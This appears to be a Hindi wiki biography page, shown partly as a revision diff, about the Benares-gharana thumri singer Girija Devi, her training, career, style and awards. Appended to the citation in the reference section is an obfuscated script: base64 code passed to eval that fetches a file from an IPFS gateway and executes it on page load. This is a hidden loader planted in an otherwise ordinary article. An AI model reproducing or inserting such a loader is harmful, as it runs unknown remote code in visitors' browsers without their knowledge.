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'''गिरिजा देवी''' ([[अंग्रेज़ी]]: Girija Devi; जन्म- [[8 मई]], [[1929]], [[वाराणसी]], [[उत्तर प्रदेश]]) [[भारत]] की प्रसिद्ध ठुमरी गायिका हैं। उन्हें 'ठुमरी की रानी' कहा जाता है। वे बनारस घराने से सम्बन्धित हैं। गायकी के क्षेत्र में उनके उल्लेखनीय योगदान के लिए उन्हें वर्ष [[1972]] में '[[पद्मश्री]]' और वर्ष [[1989]] में '[[पद्मभूषण]]' से सम्मानित किया गया था। गिरिजा देवी '[[संगीत नाटक अकादमी]]' द्वारा भी सम्मानित की जा चुकी हैं।   
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'''गिरिजा देवी''' ([[अंग्रेज़ी]]: Girija Devi; जन्म- [[8 मई]], [[1929]], [[वाराणसी]], [[उत्तर प्रदेश]]) [[भारत]] की प्रसिद्ध [[ठुमरी]] गायिका हैं। उन्हें 'ठुमरी की रानी' कहा जाता है। वे बनारस घराने से सम्बन्धित हैं। गायकी के क्षेत्र में उनके उल्लेखनीय योगदान के लिए उन्हें वर्ष [[1972]] में '[[पद्मश्री]]' और वर्ष [[1989]] में '[[पद्मभूषण]]' से सम्मानित किया गया था। गिरिजा देवी '[[संगीत नाटक अकादमी]]' द्वारा भी सम्मानित की जा चुकी हैं।   
 
==जन्म तथा शिक्षा==
 
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गिरिजा देवी का जन्म 8 मई, 1929 को [[कला]] और [[संस्कृति]] की प्राचीन नगरी वाराणसी (तत्कालीन [[बनारस]]) में हुआ था। उनके [[पिता]] रामदेव राय एक ज़मींदार थे, जो एक संगीत प्रेमी व्यक्ति थे। उन्होंने पाँच वर्ष की आयु में ही गिरिजा देवी के लिए [[संगीत]] की शिक्षा की व्यवस्था कर दी थी। गिरिजा देवी के प्रारम्भिक संगीत गुरु पण्डित सरयू प्रसाद मिश्र थे। नौ वर्ष की आयु में पण्डित श्रीचन्द्र मिश्र से उन्होंने संगीत की विभिन्न शैलियों की शिक्षा प्राप्त की। इस अल्प आयु में ही एक [[हिन्दी]] फ़िल्म 'याद रहे' में गिरिजा ने अभिनय भी किया था।<ref name="mcc">{{cite web |url=http://amittestamit.blogspot.in/2011/07/blog-post_11.html|title=लोक-रस से अभिसिंचित ठुमरी|accessmonthday=6 अक्टूबर|accessyear=2012|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
 
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गिरिजा देवी को भी अपने युग की रूढ़ियों के विरुद्ध कठिन संघर्ष करना पड़ा। 1949 में आकाशवाणी से अपने गायन का प्रदर्शन करने के बाद उन्होंने [[1951]] में [[बिहार]] के आरा में आयोजित एक संगीत सम्मेलन में गायन प्रस्तुत किया। इसके बाद गिरिजा देवी की अनवरत संगीत यात्रा शुरू हुई, जो आज तक जारी है। गिरिजा जी ने स्वयं को केवल मंच-प्रदर्शन तक ही सीमित नहीं रखा, बल्कि [[संगीत]] के शैक्षणिक और शोध कार्यों में भी अपना योगदान किया। 80 के दशक में उन्हें [[कोलकाता]] स्थित 'आई.टी.सी. संगीत रिसर्च एकेडमी' ने आमंत्रित किया। यहाँ रह कर उन्होंने न केवल कई योग्य शिष्य तैयार किये, बल्कि शोध कार्य भी कराए। 90 के दशक में गिरिजा देवी '[[काशी हिन्दू विश्वविद्यालय]]' से भी जुड़ीं। यहाँ अनेक छात्र-छात्राओं को प्राचीन संगीत परम्परा की दीक्षा दी।
 
गिरिजा देवी को भी अपने युग की रूढ़ियों के विरुद्ध कठिन संघर्ष करना पड़ा। 1949 में आकाशवाणी से अपने गायन का प्रदर्शन करने के बाद उन्होंने [[1951]] में [[बिहार]] के आरा में आयोजित एक संगीत सम्मेलन में गायन प्रस्तुत किया। इसके बाद गिरिजा देवी की अनवरत संगीत यात्रा शुरू हुई, जो आज तक जारी है। गिरिजा जी ने स्वयं को केवल मंच-प्रदर्शन तक ही सीमित नहीं रखा, बल्कि [[संगीत]] के शैक्षणिक और शोध कार्यों में भी अपना योगदान किया। 80 के दशक में उन्हें [[कोलकाता]] स्थित 'आई.टी.सी. संगीत रिसर्च एकेडमी' ने आमंत्रित किया। यहाँ रह कर उन्होंने न केवल कई योग्य शिष्य तैयार किये, बल्कि शोध कार्य भी कराए। 90 के दशक में गिरिजा देवी '[[काशी हिन्दू विश्वविद्यालय]]' से भी जुड़ीं। यहाँ अनेक छात्र-छात्राओं को प्राचीन संगीत परम्परा की दीक्षा दी।
 
====गायन शैली====
 
====गायन शैली====
शास्त्रीय और उप-शास्त्रीय संगीत में निष्णात गिरिजा देवी की गायकी में 'सेनिया' और 'बनारस घराने' की अदायगी का विशिष्ट माधुर्य, अपनी पाम्परिक विशेषताओं के साथ विद्यमान है। ध्रुपद, ख़्याल, टप्पा, तराना, सदरा, ठुमरी और पारम्परिक लोक संगीत में होरी, चैती, कजरी, झूला, दादरा और भजन के अनूठे प्रदर्शनों के साथ ही उन्होंने ठुमरी के साहित्य का गहन अध्ययन और अनुसंधान भी किया है। भारतीय शास्त्रीय संगीत के समकालीन परिदृश्य में वे एकमात्र ऐसी वरिष्ठ गायिका हैं, जिन्हें पूरब अंग की गायकी के लिए विश्वव्यापी प्रतिष्ठा प्राप्त है। गिरिजा देवी ने पूरबी अंग की कलात्मक विरासत को अत्यन्त मोहक और सौष्ठवपूर्ण ढंग से उद्घाटित करने का महती काम किया है। [[संगीत]] मे उनकी सुदीर्घ साधना हिन्दुस्तानी शास्त्रीय संगीत के मूल सौन्दर्य और सौन्दर्यमूलक ऐश्वर्य की पहचान को अधिक पारदर्शी भी बनाकर प्रकट करती है।<ref name="mcc"/>
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शास्त्रीय और उप-शास्त्रीय संगीत में निष्णात गिरिजा देवी की गायकी में 'सेनिया' और 'बनारस घराने' की अदायगी का विशिष्ट माधुर्य, अपनी पाम्परिक विशेषताओं के साथ विद्यमान है। ध्रुपद, ख़्याल, टप्पा, तराना, सदरा, [[ठुमरी]] और पारम्परिक लोक संगीत में होरी, चैती, कजरी, झूला, दादरा और भजन के अनूठे प्रदर्शनों के साथ ही उन्होंने ठुमरी के साहित्य का गहन अध्ययन और अनुसंधान भी किया है। भारतीय शास्त्रीय संगीत के समकालीन परिदृश्य में वे एकमात्र ऐसी वरिष्ठ गायिका हैं, जिन्हें पूरब अंग की गायकी के लिए विश्वव्यापी प्रतिष्ठा प्राप्त है। गिरिजा देवी ने पूरबी अंग की कलात्मक विरासत को अत्यन्त मोहक और सौष्ठवपूर्ण ढंग से उद्घाटित करने का महती काम किया है। [[संगीत]] मे उनकी सुदीर्घ साधना हिन्दुस्तानी शास्त्रीय संगीत के मूल सौन्दर्य और सौन्दर्यमूलक ऐश्वर्य की पहचान को अधिक पारदर्शी भी बनाकर प्रकट करती है।<ref name="mcc"/>
 
==पुरस्कार व सम्मान==
 
==पुरस्कार व सम्मान==
 
अपनी विशिष्ट गायन शैली के लिए गिरिजा देवी को कई पुरस्कार प्राप्त हुए हैं-
 
अपनी विशिष्ट गायन शैली के लिए गिरिजा देवी को कई पुरस्कार प्राप्त हुए हैं-

10:38, 11 अक्टूबर 2012 का अवतरण

गिरिजा देवी
गिरिजा देवी
पूरा नाम गिरिजा देवी
जन्म 8 मई, 1929
जन्म भूमि वाराणसी, उत्तर प्रदेश
कर्म भूमि भारत
कर्म-क्षेत्र शास्त्रीय गायन
शिक्षा संगीत
पुरस्कार-उपाधि 'पद्मश्री (1972), 'संगीत नाटक अकादमी पुरस्कार' (1977), 'पद्मभूषण' (1989), 'राष्ट्रीय तानसेन सम्मान' (1996)
प्रसिद्धि ठुमरी गायिका
विशेष योगदान 90 के दशक में आप 'काशी हिन्दू विश्वविद्यालय' से भी जुड़ीं और अनेक छात्र-छात्राओं को प्राचीन संगीत परम्परा की दीक्षा दी।
नागरिकता भारतीय
अद्यतन‎ 1:25, 6 अक्टूबर-2012 (IST)

गिरिजा देवी (अंग्रेज़ी: Girija Devi; जन्म- 8 मई, 1929, वाराणसी, उत्तर प्रदेश) भारत की प्रसिद्ध ठुमरी गायिका हैं। उन्हें 'ठुमरी की रानी' कहा जाता है। वे बनारस घराने से सम्बन्धित हैं। गायकी के क्षेत्र में उनके उल्लेखनीय योगदान के लिए उन्हें वर्ष 1972 में 'पद्मश्री' और वर्ष 1989 में 'पद्मभूषण' से सम्मानित किया गया था। गिरिजा देवी 'संगीत नाटक अकादमी' द्वारा भी सम्मानित की जा चुकी हैं।

जन्म तथा शिक्षा

गिरिजा देवी का जन्म 8 मई, 1929 को कला और संस्कृति की प्राचीन नगरी वाराणसी (तत्कालीन बनारस) में हुआ था। उनके पिता रामदेव राय एक ज़मींदार थे, जो एक संगीत प्रेमी व्यक्ति थे। उन्होंने पाँच वर्ष की आयु में ही गिरिजा देवी के लिए संगीत की शिक्षा की व्यवस्था कर दी थी। गिरिजा देवी के प्रारम्भिक संगीत गुरु पण्डित सरयू प्रसाद मिश्र थे। नौ वर्ष की आयु में पण्डित श्रीचन्द्र मिश्र से उन्होंने संगीत की विभिन्न शैलियों की शिक्षा प्राप्त की। इस अल्प आयु में ही एक हिन्दी फ़िल्म 'याद रहे' में गिरिजा ने अभिनय भी किया था।[1]

प्रथम प्रदर्शन

उनका विवाह 1946 में एक व्यवसायी परिवार में हुआ था। उन दिनों कुलीन विवाहिता स्त्रियों द्वारा मंच प्रदर्शन अच्छा नहीं माना जाता था। 1949 में गिरिजा देवी ने अपना पहला प्रदर्शन इलाहाबाद के आकाशवाणी केन्द्र से किया। यह देश की स्वतंत्रता के तत्काल बाद का उन्मुक्त परिवेश था, जिसमें अनेक रूढ़ियाँ टूटी थीं। संगीत के क्षेत्र में पण्डित विष्णु नारायण भातखंडे और पण्डित विष्णु दिगम्बर पलुस्कर ने स्वतंत्रता से पहले ही भारतीय संगीत को जन-जन में प्रतिष्ठित करने का जो आन्दोलन छेड़ रखा था, उसका सार्थक परिणाम देश की आज़ादी के पश्चात तेजी से दृष्टिगोचर होने लगा था।[1]

संगीत यात्रा

गिरिजा देवी को भी अपने युग की रूढ़ियों के विरुद्ध कठिन संघर्ष करना पड़ा। 1949 में आकाशवाणी से अपने गायन का प्रदर्शन करने के बाद उन्होंने 1951 में बिहार के आरा में आयोजित एक संगीत सम्मेलन में गायन प्रस्तुत किया। इसके बाद गिरिजा देवी की अनवरत संगीत यात्रा शुरू हुई, जो आज तक जारी है। गिरिजा जी ने स्वयं को केवल मंच-प्रदर्शन तक ही सीमित नहीं रखा, बल्कि संगीत के शैक्षणिक और शोध कार्यों में भी अपना योगदान किया। 80 के दशक में उन्हें कोलकाता स्थित 'आई.टी.सी. संगीत रिसर्च एकेडमी' ने आमंत्रित किया। यहाँ रह कर उन्होंने न केवल कई योग्य शिष्य तैयार किये, बल्कि शोध कार्य भी कराए। 90 के दशक में गिरिजा देवी 'काशी हिन्दू विश्वविद्यालय' से भी जुड़ीं। यहाँ अनेक छात्र-छात्राओं को प्राचीन संगीत परम्परा की दीक्षा दी।

गायन शैली

शास्त्रीय और उप-शास्त्रीय संगीत में निष्णात गिरिजा देवी की गायकी में 'सेनिया' और 'बनारस घराने' की अदायगी का विशिष्ट माधुर्य, अपनी पाम्परिक विशेषताओं के साथ विद्यमान है। ध्रुपद, ख़्याल, टप्पा, तराना, सदरा, ठुमरी और पारम्परिक लोक संगीत में होरी, चैती, कजरी, झूला, दादरा और भजन के अनूठे प्रदर्शनों के साथ ही उन्होंने ठुमरी के साहित्य का गहन अध्ययन और अनुसंधान भी किया है। भारतीय शास्त्रीय संगीत के समकालीन परिदृश्य में वे एकमात्र ऐसी वरिष्ठ गायिका हैं, जिन्हें पूरब अंग की गायकी के लिए विश्वव्यापी प्रतिष्ठा प्राप्त है। गिरिजा देवी ने पूरबी अंग की कलात्मक विरासत को अत्यन्त मोहक और सौष्ठवपूर्ण ढंग से उद्घाटित करने का महती काम किया है। संगीत मे उनकी सुदीर्घ साधना हिन्दुस्तानी शास्त्रीय संगीत के मूल सौन्दर्य और सौन्दर्यमूलक ऐश्वर्य की पहचान को अधिक पारदर्शी भी बनाकर प्रकट करती है।[1]

पुरस्कार व सम्मान

अपनी विशिष्ट गायन शैली के लिए गिरिजा देवी को कई पुरस्कार प्राप्त हुए हैं-

  1. 'पद्मश्री' - 1972
  2. 'संगीत नाटक अकादमी पुरस्कार' - 1977
  3. 'पद्मभूषण' - 1989
  4. 'संगीत नाटक अकादमी फेलोशिप' - 2010
  5. 'महा संगीत सम्मान अवार्ड' - 2012

गिरिजा देवी आधुनिक और स्वतंत्रता पूर्व काल की पूरब अंग की बोल-बनाव ठुमरियों की विशेषज्ञ और संवाहिका हैं। आधुनिक उपशास्त्रीय संगीत के भण्डार को उन्होंने समृद्ध किया है।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 लोक-रस से अभिसिंचित ठुमरी (हिन्दी)। । अभिगमन तिथि: 6 अक्टूबर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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